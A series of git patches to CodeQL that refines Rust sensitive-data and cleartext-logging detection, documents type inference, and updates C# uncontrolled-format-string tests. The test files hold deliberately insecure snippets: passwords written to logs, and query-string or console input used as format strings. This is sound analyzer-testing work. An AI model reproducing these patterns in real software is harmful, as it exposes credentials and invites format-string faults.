--- a/rust/ql/lib/codeql/rust/security/SensitiveData.qll +++ b/rust/ql/lib/codeql/rust/security/SensitiveData.qll @@ -92,11 +92,9 @@ private class SensitiveFieldAccess extends SensitiveData { SensitiveDataClassification classification; SensitiveFieldAccess() { - HeuristicNames::nameIndicatesSensitiveData(this.asExpr() - .getAstNode() - .(FieldExpr) - .getIdentifier() - .getText(), classification) + exists(FieldExpr fe | fe.getParentNode*() = this.asExpr().getAstNode() | + HeuristicNames::nameIndicatesSensitiveData(fe.getIdentifier().getText(), classification) + ) } override SensitiveDataClassification getClassification() { result = classification } diff --git a/rust/ql/test/library-tests/sensitivedata/test.rs b/rust/ql/test/library-tests/sensitivedata/test.rs index 42fb2f0693ba..e1d07f16d47e 100644 --- a/rust/ql/test/library-tests/sensitivedata/test.rs +++ b/rust/ql/test/library-tests/sensitivedata/test.rs @@ -251,8 +251,8 @@ fn test_private_info( sink(info.contact_e_mail_2.as_str()); // $ MISSING: sensitive=private sink(info.my_ssn.as_str()); // $ sensitive=private sink(&info.ssn); // $ sensitive=private - sink(info.ssn.data); // $ MISSING: sensitive=private - sink(info.ssn.get_data()); // $ MISSING: sensitive=private + sink(info.ssn.data); // $ sensitive=private + sink(info.ssn.get_data()); // $ sensitive=private sink(info.birthday.as_str()); // $ sensitive=private sink(info.emergency_contact.as_str()); // $ sensitive=private sink(info.name_of_employer.as_str()); // $ sensitive=private @@ -273,14 +273,14 @@ fn test_private_info( sink(&info.medical_notes); // $ sensitive=private sink(info.medical_notes[0].as_str()); // $ sensitive=private for n in info.medical_notes.iter() { - sink(n.as_str()); // $ MISSING: sensitive=private + sink(n.as_str()); // $ sensitive=private } sink(info.confidentialMessage.as_str()); // $ MISSING: sensitive=private sink(info.confidentialMessage.to_lowercase()); // $ MISSING: sensitive=private sink(info.latitude); // $ sensitive=private let x = info.longitude.unwrap(); - sink(x); // $ MISSING: sensitive=private + sink(x); // $ sensitive=private sink(info.financials.my_bank_account_number.as_str()); // $ sensitive=private SPURIOUS: sensitive=id sink(info.financials.credit_card_no.as_str()); // $ sensitive=private From 5f5d6f679a71ce695059720d39c7af196fcf9482 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Fri, 9 May 2025 11:58:51 +0100 Subject: [PATCH 094/535] Rust: Understand sensitive enum variants calls. --- .../codeql/rust/security/SensitiveData.qll | 31 +++++++++++++++++-- .../test/library-tests/sensitivedata/test.rs | 4 +-- 2 files changed, 31 insertions(+), 4 deletions(-) diff --git a/rust/ql/lib/codeql/rust/security/SensitiveData.qll b/rust/ql/lib/codeql/rust/security/SensitiveData.qll index 5a384feabc24..1a7571a912ed 100644 --- a/rust/ql/lib/codeql/rust/security/SensitiveData.qll +++ b/rust/ql/lib/codeql/rust/security/SensitiveData.qll @@ -37,10 +37,10 @@ private class SensitiveDataFunction extends Function { /** * A function call data flow node that might produce sensitive data. */ -private class SensitiveDataCall extends SensitiveData { +private class SensitiveDataFunctionCall extends SensitiveData { SensitiveDataClassification classification; - SensitiveDataCall() { + SensitiveDataFunctionCall() { classification = this.asExpr() .getAstNode() @@ -53,6 +53,33 @@ private class SensitiveDataCall extends SensitiveData { override SensitiveDataClassification getClassification() { result = classification } } +/** + * An enum variant that might produce sensitive data. + */ +private class SensitiveDataVariant extends Variant { + SensitiveDataClassification classification; + + SensitiveDataVariant() { + HeuristicNames::nameIndicatesSensitiveData(this.getName().getText(), classification) + } + + SensitiveDataClassification getClassification() { result = classification } +} + +/** + * An enum variant call data flow node that might produce sensitive data. + */ +private class SensitiveDataVariantCall extends SensitiveData { + SensitiveDataClassification classification; + + SensitiveDataVariantCall() { + classification = + this.asExpr().getAstNode().(CallExpr).getVariant().(SensitiveDataVariant).getClassification() + } + + override SensitiveDataClassification getClassification() { result = classification } +} + /** * A variable that might contain sensitive data. */ diff --git a/rust/ql/test/library-tests/sensitivedata/test.rs b/rust/ql/test/library-tests/sensitivedata/test.rs index e1d07f16d47e..c4f4a57b8dee 100644 --- a/rust/ql/test/library-tests/sensitivedata/test.rs +++ b/rust/ql/test/library-tests/sensitivedata/test.rs @@ -293,8 +293,8 @@ fn test_private_info( sink(info.financials.iban.as_str()); // $ MISSING: sensitive=private sink(info.financials.iBAN.as_str()); // $ MISSING: sensitive=private - sink(ContactDetails::HomePhoneNumber("123".to_string())); // $ MISSING: sensitive=private - sink(ContactDetails::MobileNumber("123".to_string())); // $ MISSING: sensitive=private + sink(ContactDetails::HomePhoneNumber("123".to_string())); // $ sensitive=private + sink(ContactDetails::MobileNumber("123".to_string())); // $ sensitive=private sink(ContactDetails::Email("a@b".to_string())); // $ MISSING: sensitive=private if let ContactDetails::MobileNumber(num) = details { sink(num.as_str()); // $ MISSING: sensitive=private From d02d5c5baf435e73b9bc7fada768631831ec6cba Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Fri, 9 May 2025 14:33:26 +0100 Subject: [PATCH 095/535] Rust: Update cleartext logging test with new found results. --- .../security/CWE-312/CleartextLogging.expected | 8 ++++++++ rust/ql/test/query-tests/security/CWE-312/test_logging.rs | 4 ++-- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected index 61218e9c9085..19efc0e19716 100644 --- a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected +++ b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected @@ -28,6 +28,8 @@ | test_logging.rs:100:5:100:19 | ...::log | test_logging.rs:99:38:99:45 | password | test_logging.rs:100:5:100:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:99:38:99:45 | password | password | | test_logging.rs:118:5:118:42 | ...::log | test_logging.rs:118:28:118:41 | get_password(...) | test_logging.rs:118:5:118:42 | ...::log | This operation writes $@ to a log file. | test_logging.rs:118:28:118:41 | get_password(...) | get_password(...) | | test_logging.rs:131:5:131:32 | ...::log | test_logging.rs:129:25:129:32 | password | test_logging.rs:131:5:131:32 | ...::log | This operation writes $@ to a log file. | test_logging.rs:129:25:129:32 | password | password | +| test_logging.rs:138:5:138:38 | ...::log | test_logging.rs:138:11:138:37 | MacroExpr | test_logging.rs:138:5:138:38 | ...::log | This operation writes $@ to a log file. | test_logging.rs:138:11:138:37 | MacroExpr | MacroExpr | +| test_logging.rs:145:5:145:38 | ...::log | test_logging.rs:145:11:145:37 | MacroExpr | test_logging.rs:145:5:145:38 | ...::log | This operation writes $@ to a log file. | test_logging.rs:145:11:145:37 | MacroExpr | MacroExpr | | test_logging.rs:152:5:152:38 | ...::_print | test_logging.rs:152:30:152:37 | password | test_logging.rs:152:5:152:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:152:30:152:37 | password | password | | test_logging.rs:153:5:153:38 | ...::_print | test_logging.rs:153:30:153:37 | password | test_logging.rs:153:5:153:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:153:30:153:37 | password | password | | test_logging.rs:154:5:154:39 | ...::_eprint | test_logging.rs:154:31:154:38 | password | test_logging.rs:154:5:154:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:154:31:154:38 | password | password | @@ -148,6 +150,8 @@ edges | test_logging.rs:131:12:131:31 | MacroExpr | test_logging.rs:131:5:131:32 | ...::log | provenance | MaD:9 Sink:MaD:9 | | test_logging.rs:131:28:131:29 | t1 [tuple.1] | test_logging.rs:131:28:131:31 | t1.1 | provenance | | | test_logging.rs:131:28:131:31 | t1.1 | test_logging.rs:131:12:131:31 | MacroExpr | provenance | | +| test_logging.rs:138:11:138:37 | MacroExpr | test_logging.rs:138:5:138:38 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:145:11:145:37 | MacroExpr | test_logging.rs:145:5:145:38 | ...::log | provenance | MaD:9 Sink:MaD:9 | | test_logging.rs:152:12:152:37 | MacroExpr | test_logging.rs:152:5:152:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | | test_logging.rs:152:30:152:37 | password | test_logging.rs:152:12:152:37 | MacroExpr | provenance | | | test_logging.rs:153:14:153:37 | MacroExpr | test_logging.rs:153:5:153:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | @@ -352,6 +356,10 @@ nodes | test_logging.rs:131:12:131:31 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:131:28:131:29 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | | test_logging.rs:131:28:131:31 | t1.1 | semmle.label | t1.1 | +| test_logging.rs:138:5:138:38 | ...::log | semmle.label | ...::log | +| test_logging.rs:138:11:138:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:145:5:145:38 | ...::log | semmle.label | ...::log | +| test_logging.rs:145:11:145:37 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:152:5:152:38 | ...::_print | semmle.label | ...::_print | | test_logging.rs:152:12:152:37 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:152:30:152:37 | password | semmle.label | password | diff --git a/rust/ql/test/query-tests/security/CWE-312/test_logging.rs b/rust/ql/test/query-tests/security/CWE-312/test_logging.rs index 970a9caf0ee5..8606d2f9b22d 100644 --- a/rust/ql/test/query-tests/security/CWE-312/test_logging.rs +++ b/rust/ql/test/query-tests/security/CWE-312/test_logging.rs @@ -135,14 +135,14 @@ fn test_log(harmless: String, password: String, encrypted_password: String) { // logging from a struct let s1 = MyStruct1 { harmless: "foo".to_string(), password: "123456".to_string() }; // $ MISSING: Source=s1 warn!("message = {}", s1.harmless); - warn!("message = {}", s1.password); // $ MISSING: Alert[rust/cleartext-logging] + warn!("message = {}", s1.password); // $ Alert[rust/cleartext-logging] warn!("message = {}", s1); // $ MISSING: Alert[rust/cleartext-logging]=s1 warn!("message = {:?}", s1); // $ MISSING: Alert[rust/cleartext-logging]=s1 warn!("message = {:#?}", s1); // $ MISSING: Alert[rust/cleartext-logging]=s1 let s2 = MyStruct2 { harmless: "foo".to_string(), password: "123456".to_string() }; // $ MISSING: Source=s2 warn!("message = {}", s2.harmless); - warn!("message = {}", s2.password); // $ MISSING: Alert[rust/cleartext-logging] + warn!("message = {}", s2.password); // $ Alert[rust/cleartext-logging] warn!("message = {}", s2); // (this implementation does not output the password field) warn!("message = {:?}", s2); // $ MISSING: Alert[rust/cleartext-logging]=s2 warn!("message = {:#?}", s2); // $ MISSING: Alert[rust/cleartext-logging]=s2 From 0cf60c4e2d8bc4712b8412d36fd090d87df00888 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Wed, 7 May 2025 15:29:58 -0400 Subject: [PATCH 096/535] Rust: Address comments on documentation --- .../elements/internal/MethodCallExprImpl.qll | 2 + .../codeql/rust/internal/TypeInference.qll | 17 +++++++ .../typeinference/internal/TypeInference.qll | 46 +++++++++++++------ 3 files changed, 52 insertions(+), 13 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll index cebfaf6d5baa..4996da37d908 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll @@ -56,6 +56,8 @@ module Impl { } override Function getStaticTarget() { + // Functions in source code also gets extracted as library code, due to + // this duplication we prioritize functions from source code. result = this.getStaticTargetFrom(true) or not exists(this.getStaticTargetFrom(true)) and diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 8d7dffefd763..4701df8069b7 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -19,6 +19,16 @@ private module Input1 implements InputSig1 { class TypeParameter = T::TypeParameter; + /** + * A type abstraction. I.e., a place in the program where type variables are + * introduced. + * + * Example: + * ```rust + * impl Foo { } + * // ^^^^^^ a type abstraction + * ``` + */ class TypeAbstraction = T::TypeAbstraction; private newtype TTypeArgumentPosition = @@ -118,6 +128,13 @@ private module Input2 implements InputSig2 { result = tp.(SelfTypeParameter).getTrait() } + /** + * Use the constraint mechanism in the shared type inference library to + * support traits. In Rust `constraint` is always a trait. + * + * See the documentation of `conditionSatisfiesConstraint` in the shared type + * inference module for more information. + */ predicate conditionSatisfiesConstraint( TypeAbstraction abs, TypeMention condition, TypeMention constraint ) { diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index 5eabeb6c6f05..b3cb99abcc56 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -327,20 +327,25 @@ module Make1 Input1> { * // ^^^^^^^^^^^^^ `constraint` * ``` * - * Note that the type parameters in `abs` significantly change the meaning - * of type parameters that occur in `condition`. For instance, in the Rust - * example + * To see how `abs` change the meaning of the type parameters that occur in + * `condition`, consider the following examples in Rust: * ```rust - * fn foo() { } + * impl Trait for T { } + * // ^^^ `abs` ^ `condition` + * // ^^^^^ `constraint` * ``` - * we have that the type parameter `T` satisfies the constraint `Trait`. But, - * only that specific `T` satisfy the constraint. Hence we would not have - * `T` in `abs`. On the other hand, in the Rust example + * Here the meaning is "for all type parameters `T` it is the case that `T` + * implements `Trait`". On the other hand, in * ```rust - * impl Trait for T { } + * fn foo() { } + * // ^ `condition` + * // ^^^^^ `constraint` * ``` - * the constraint `Trait` is in fact satisfied for all types, and we would - * have `T` in `abs` to make it free in the condition. + * the meaning is "`T` implements `Trait`" where the constraint is only + * valid for the specific `T`. Note that `condition` and `condition` are + * identical in the two examples. To encode the difference, `abs` in the + * first example should contain `T` whereas in the seconds example `abs` + * should be empty. */ predicate conditionSatisfiesConstraint( TypeAbstraction abs, TypeMention condition, TypeMention constraint @@ -359,9 +364,24 @@ module Make1 Input1> { signature module IsInstantiationOfInputSig { /** - * Holds if `abs` is a type abstraction under which `tm` occurs and if - * `app` is potentially the result of applying the abstraction to type - * some type argument. + * Holds if `abs` is a type abstraction, `tm` occurs under `abs`, and + * `app` is potentially an application/instantiation of `abs`. + * + * For example: + * ```rust + * impl Foo { + * // ^^^ `abs` + * // ^^^^^^^^^ `tm` + * fn bar(self) { ... } + * } + * // ... + * foo.bar(); + * // ^^^ `app` + * ``` + * Here `abs` introduces the type parameter `A` and `tm` occurs under + * `abs` (i.e., `A` is bound in `tm` by `abs`). On the last line, + * accessing the `bar` method of `foo` potentially instantiates the `impl` + * block with a type argument for `A`. */ predicate potentialInstantiationOf(App app, TypeAbstraction abs, TypeMention tm); From 7bd1612b694a70f673f50f2192e021092cec898a Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Mon, 12 May 2025 12:47:48 +0200 Subject: [PATCH 097/535] Rust: Use getStaticTarget in type inference test This fixes a test failure where duplicated functions from extraction caused a bunch of spurious results to pop up --- rust/ql/test/library-tests/type-inference/main.rs | 2 +- rust/ql/test/library-tests/type-inference/type-inference.ql | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 30a9b60c864f..f6c879f24b6b 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -398,7 +398,7 @@ mod impl_overlap { pub fn f() { let x = S1; - println!("{:?}", x.common_method()); // $ method=S1::common_method SPURIOUS: method=::common_method + println!("{:?}", x.common_method()); // $ method=S1::common_method println!("{:?}", x.common_method_2()); // $ method=S1::common_method_2 } } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.ql b/rust/ql/test/library-tests/type-inference/type-inference.ql index 2652699558ff..83ff92ed60d2 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.ql +++ b/rust/ql/test/library-tests/type-inference/type-inference.ql @@ -24,7 +24,7 @@ module ResolveTest implements TestSig { location = source.getLocation() and element = source.toString() | - target = resolveMethodCallExpr(source) and + target = source.(MethodCallExpr).getStaticTarget() and functionHasValue(target, value) and tag = "method" or From 0a3275e0b3fb80ac50cbb4b89934bd37387fdec1 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 12 May 2025 11:50:57 +0100 Subject: [PATCH 098/535] Rust: One more test case. --- rust/ql/test/library-tests/sensitivedata/test.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/rust/ql/test/library-tests/sensitivedata/test.rs b/rust/ql/test/library-tests/sensitivedata/test.rs index c4f4a57b8dee..02ac0bdfff3a 100644 --- a/rust/ql/test/library-tests/sensitivedata/test.rs +++ b/rust/ql/test/library-tests/sensitivedata/test.rs @@ -26,6 +26,7 @@ fn test_passwords( password: &str, pass_word: &str, passwd: &str, my_password: &str, password_str: &str, pass_phrase: &str, passphrase: &str, passPhrase: &str, backup_code: &str, auth_key: &str, authkey: &str, authKey: &str, authentication_key: &str, authenticationkey: &str, authenticationKey: &str, oauth: &str, + one_time_code: &str, harmless: &str, encrypted_password: &str, password_hash: &str, passwordFile: &str, ms: &MyStruct ) { @@ -48,6 +49,7 @@ fn test_passwords( sink(authenticationkey); // $ sensitive=password sink(authenticationKey); // $ sensitive=password sink(oauth); // $ MISSING: sensitive=password + sink(one_time_code); // $ MISSING: sensitive=password sink(ms); // $ MISSING: sensitive=password sink(ms.password.as_str()); // $ sensitive=password From b907cfe468de58cd90c46d66c19e9f2fe8862bcb Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 12 May 2025 12:30:50 +0100 Subject: [PATCH 099/535] Rust: Add a few more test cases involving 'map'. --- .../test/library-tests/sensitivedata/test.rs | 29 +++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/rust/ql/test/library-tests/sensitivedata/test.rs b/rust/ql/test/library-tests/sensitivedata/test.rs index 02ac0bdfff3a..f74de9f5bf86 100644 --- a/rust/ql/test/library-tests/sensitivedata/test.rs +++ b/rust/ql/test/library-tests/sensitivedata/test.rs @@ -242,6 +242,10 @@ enum ContactDetails { FavouriteColor(String), } +struct ContactDetails2 { + home_phone_number: String, +} + fn test_private_info( info: &MyPrivateInfo, details: &ContactDetails, ) { @@ -298,9 +302,34 @@ fn test_private_info( sink(ContactDetails::HomePhoneNumber("123".to_string())); // $ sensitive=private sink(ContactDetails::MobileNumber("123".to_string())); // $ sensitive=private sink(ContactDetails::Email("a@b".to_string())); // $ MISSING: sensitive=private + + let numbers = [1, 2, 3]; + if let ContactDetails::MobileNumber(num) = details { sink(num.as_str()); // $ MISSING: sensitive=private } + let contacts = numbers.map(|number| + { + let contact = ContactDetails::MobileNumber(number.to_string()); + sink(&contact); // $ sensitive=private + contact + } + ); + sink(&contacts[0]); // $ MISSING: sensitive=private + if let ContactDetails::HomePhoneNumber(num) = &contacts[0] { + sink(num.as_str()); // $ MISSING: sensitive=private + } + + let contacts2 = numbers.map(|number| + { + let contact = ContactDetails2 { + home_phone_number: number.to_string(), + }; + sink(&contact.home_phone_number); // $ sensitive=private + contact + } + ); + sink(&contacts2[0].home_phone_number); // $ sensitive=private // not private info From ac5ec06736b002cca4fd1ad271188d2d1128d640 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 12 May 2025 12:47:31 +0100 Subject: [PATCH 100/535] Rust: Constrain SensitiveFieldAccess to avoid including unwanted parents. --- rust/ql/lib/codeql/rust/security/SensitiveData.qll | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/rust/ql/lib/codeql/rust/security/SensitiveData.qll b/rust/ql/lib/codeql/rust/security/SensitiveData.qll index 1a7571a912ed..43282ed7d937 100644 --- a/rust/ql/lib/codeql/rust/security/SensitiveData.qll +++ b/rust/ql/lib/codeql/rust/security/SensitiveData.qll @@ -112,6 +112,10 @@ private class SensitiveVariableAccess extends SensitiveData { override SensitiveDataClassification getClassification() { result = classification } } +Expr fieldExprParentField(FieldExpr fe) { + result = fe.getParentNode() +} + /** * A field access data flow node that might be sensitive data. */ @@ -119,7 +123,7 @@ private class SensitiveFieldAccess extends SensitiveData { SensitiveDataClassification classification; SensitiveFieldAccess() { - exists(FieldExpr fe | fe.getParentNode*() = this.asExpr().getAstNode() | + exists(FieldExpr fe | fieldExprParentField*(fe) = this.asExpr().getAstNode() | HeuristicNames::nameIndicatesSensitiveData(fe.getIdentifier().getText(), classification) ) } From 682f59fc11a1374ca0fd5fc3b7c3e0c50a0f9324 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 12 May 2025 12:49:58 +0100 Subject: [PATCH 101/535] Rust: Make helper predicate private + autoformat. --- rust/ql/lib/codeql/rust/security/SensitiveData.qll | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/rust/ql/lib/codeql/rust/security/SensitiveData.qll b/rust/ql/lib/codeql/rust/security/SensitiveData.qll index 43282ed7d937..3dcc48a799ae 100644 --- a/rust/ql/lib/codeql/rust/security/SensitiveData.qll +++ b/rust/ql/lib/codeql/rust/security/SensitiveData.qll @@ -112,9 +112,7 @@ private class SensitiveVariableAccess extends SensitiveData { override SensitiveDataClassification getClassification() { result = classification } } -Expr fieldExprParentField(FieldExpr fe) { - result = fe.getParentNode() -} +private Expr fieldExprParentField(FieldExpr fe) { result = fe.getParentNode() } /** * A field access data flow node that might be sensitive data. From c16be43f15bdb8b5f72a851686703ca6230012c3 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 10 Apr 2025 14:13:45 +0200 Subject: [PATCH 102/535] C#: Convert cs/uncontrolled-format-string tests to use test inline expectations. --- .../CWE-134/ConsoleUncontrolledFormatString.cs | 4 ++-- .../Security Features/CWE-134/UncontrolledFormatString.cs | 8 ++++---- .../CWE-134/UncontrolledFormatString.qlref | 4 +++- .../CWE-134/UncontrolledFormatStringBad.cs | 4 ++-- 4 files changed, 11 insertions(+), 9 deletions(-) diff --git a/csharp/ql/test/query-tests/Security Features/CWE-134/ConsoleUncontrolledFormatString.cs b/csharp/ql/test/query-tests/Security Features/CWE-134/ConsoleUncontrolledFormatString.cs index c9d4440cf787..c7d8c38a71b4 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-134/ConsoleUncontrolledFormatString.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-134/ConsoleUncontrolledFormatString.cs @@ -5,9 +5,9 @@ public class Program { public static void Main() { - var format = Console.ReadLine(); + var format = Console.ReadLine(); // $ Source // BAD: Uncontrolled format string. - var x = string.Format(format, 1, 2); + var x = string.Format(format, 1, 2); // $ Alert } } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs index 37da55bec766..531d4ade8846 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs @@ -6,13 +6,13 @@ public class TaintedPathHandler : IHttpHandler { public void ProcessRequest(HttpContext ctx) { - String path = ctx.Request.QueryString["page"]; + String path = ctx.Request.QueryString["page"]; // $ Source // BAD: Uncontrolled format string. - String.Format(path, "Do not do this"); + String.Format(path, "Do not do this"); // $ Alert // BAD: Using an IFormatProvider. - String.Format((IFormatProvider)null, path, "Do not do this"); + String.Format((IFormatProvider)null, path, "Do not do this"); // $ Alert // GOOD: Not the format string. String.Format("Do not do this", path); @@ -29,6 +29,6 @@ public void ProcessRequest(HttpContext ctx) void OnButtonClicked() { // BAD: Uncontrolled format string. - String.Format(box1.Text, "Do not do this"); + String.Format(box1.Text, "Do not do this"); // $ Alert } } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.qlref b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.qlref index 88de17860f9c..10aa9e825cdd 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-134/UncontrolledFormatString.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatStringBad.cs b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatStringBad.cs index dc0c689eefa5..aeb252b18a71 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatStringBad.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatStringBad.cs @@ -6,9 +6,9 @@ public class HttpHandler : IHttpHandler public void ProcessRequest(HttpContext ctx) { - string format = ctx.Request.QueryString["nameformat"]; + string format = ctx.Request.QueryString["nameformat"]; // $ Source // BAD: Uncontrolled format string. - FormattedName = string.Format(format, Surname, Forenames); + FormattedName = string.Format(format, Surname, Forenames); // $ Alert } } From 3838a7b0d67713c38ecd70361cf97482afdc2d88 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 10 Apr 2025 14:18:14 +0200 Subject: [PATCH 103/535] C#: Add a testcase for CompositeFormat.Parse for cs/uncontrolled-format-string. --- .../CWE-134/UncontrolledFormatString.cs | 4 +++ .../CWE-134/UncontrolledFormatString.expected | 30 ++++++++++--------- 2 files changed, 20 insertions(+), 14 deletions(-) diff --git a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs index 531d4ade8846..814167b15d91 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs @@ -1,4 +1,5 @@ using System; +using System.Text; using System.IO; using System.Web; @@ -22,6 +23,9 @@ public void ProcessRequest(HttpContext ctx) // GOOD: Not a formatting call Console.WriteLine(path); + + // BAD: Uncontrolled format string. + CompositeFormat.Parse(path); // $ Alert } System.Windows.Forms.TextBox box1; diff --git a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected index 6c70f8450b2e..63c093f5c340 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected +++ b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected @@ -1,17 +1,17 @@ #select | ConsoleUncontrolledFormatString.cs:11:31:11:36 | access to local variable format | ConsoleUncontrolledFormatString.cs:8:22:8:39 | call to method ReadLine : String | ConsoleUncontrolledFormatString.cs:11:31:11:36 | access to local variable format | This format string depends on $@. | ConsoleUncontrolledFormatString.cs:8:22:8:39 | call to method ReadLine | thisread from stdin | -| UncontrolledFormatString.cs:12:23:12:26 | access to local variable path | UncontrolledFormatString.cs:9:23:9:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:12:23:12:26 | access to local variable path | This format string depends on $@. | UncontrolledFormatString.cs:9:23:9:45 | access to property QueryString | thisASP.NET query string | -| UncontrolledFormatString.cs:15:46:15:49 | access to local variable path | UncontrolledFormatString.cs:9:23:9:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:15:46:15:49 | access to local variable path | This format string depends on $@. | UncontrolledFormatString.cs:9:23:9:45 | access to property QueryString | thisASP.NET query string | -| UncontrolledFormatString.cs:32:23:32:31 | access to property Text | UncontrolledFormatString.cs:32:23:32:31 | access to property Text | UncontrolledFormatString.cs:32:23:32:31 | access to property Text | This format string depends on $@. | UncontrolledFormatString.cs:32:23:32:31 | access to property Text | thisTextBox text | +| UncontrolledFormatString.cs:13:23:13:26 | access to local variable path | UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:13:23:13:26 | access to local variable path | This format string depends on $@. | UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString | thisASP.NET query string | +| UncontrolledFormatString.cs:16:46:16:49 | access to local variable path | UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:16:46:16:49 | access to local variable path | This format string depends on $@. | UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString | thisASP.NET query string | +| UncontrolledFormatString.cs:36:23:36:31 | access to property Text | UncontrolledFormatString.cs:36:23:36:31 | access to property Text | UncontrolledFormatString.cs:36:23:36:31 | access to property Text | This format string depends on $@. | UncontrolledFormatString.cs:36:23:36:31 | access to property Text | thisTextBox text | | UncontrolledFormatStringBad.cs:12:39:12:44 | access to local variable format | UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString : NameValueCollection | UncontrolledFormatStringBad.cs:12:39:12:44 | access to local variable format | This format string depends on $@. | UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString | thisASP.NET query string | edges | ConsoleUncontrolledFormatString.cs:8:13:8:18 | access to local variable format : String | ConsoleUncontrolledFormatString.cs:11:31:11:36 | access to local variable format | provenance | | | ConsoleUncontrolledFormatString.cs:8:22:8:39 | call to method ReadLine : String | ConsoleUncontrolledFormatString.cs:8:13:8:18 | access to local variable format : String | provenance | Src:MaD:1 | -| UncontrolledFormatString.cs:9:16:9:19 | access to local variable path : String | UncontrolledFormatString.cs:12:23:12:26 | access to local variable path | provenance | | -| UncontrolledFormatString.cs:9:16:9:19 | access to local variable path : String | 